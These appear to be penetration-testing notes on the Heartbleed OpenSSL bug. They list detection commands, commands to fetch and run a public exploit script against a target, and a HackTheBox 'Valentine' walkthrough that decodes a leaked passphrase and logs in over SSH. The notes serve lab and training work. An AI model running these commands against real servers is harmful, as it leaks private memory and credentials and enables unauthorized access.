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# heartbleed

## Basics

* <http://heartbleed.com/>
* Vulnerability in the popular OpenSSL cryptographic software library.
* Allows anyone to read the memory of the systems protected by this vulnerable OpenSSL version.
* Grabs a memory dump - Might find all kinds of goodies!!
* "How the heartbleed bug works"
  * <https://xkcd.com/1354/>
  * Meg: Server are you still there? if so reply 'HAT' with 500 letters

## Detection

```
> nmap --script vuln $IP
> sslyze --heartbleed $IP
```

## Exploit

* google: python heartbleed github

```
-----------
Download
https://gist.github.com/eelsivart/10174134#file-heartbleed-py-L8
wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
git clone https://gist.github.com/10174134.git

-----------
searchsploit -w heartbleed
https://exploit-db.com/exploits/32764

-----------
python heartbleed.py
python heartbleed.py -p 443 -n 10 $IP
./heartbleed.py $IP -n 500 -a output.txt    ..winner

-n 500  ..Number of times to connect/loop (1 = default)
-a output.txt

grep '=' output.txt
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==   ..valentineHTB
```

## Example

* valentineHTB - had a ssh key password entered on 'decode.php'
* hype\_key was hidden somewhere else on the site :)
* We can grab the memory, decode the key, and ssh to the box

```
-----------
decode.php
aGVhcnxyz==                        ..found

-----------
echo 'aGVhcnxyz==' | base64 -d     ..mysecretkey
ssh -i hype_key hype@$IP           ..connect
```


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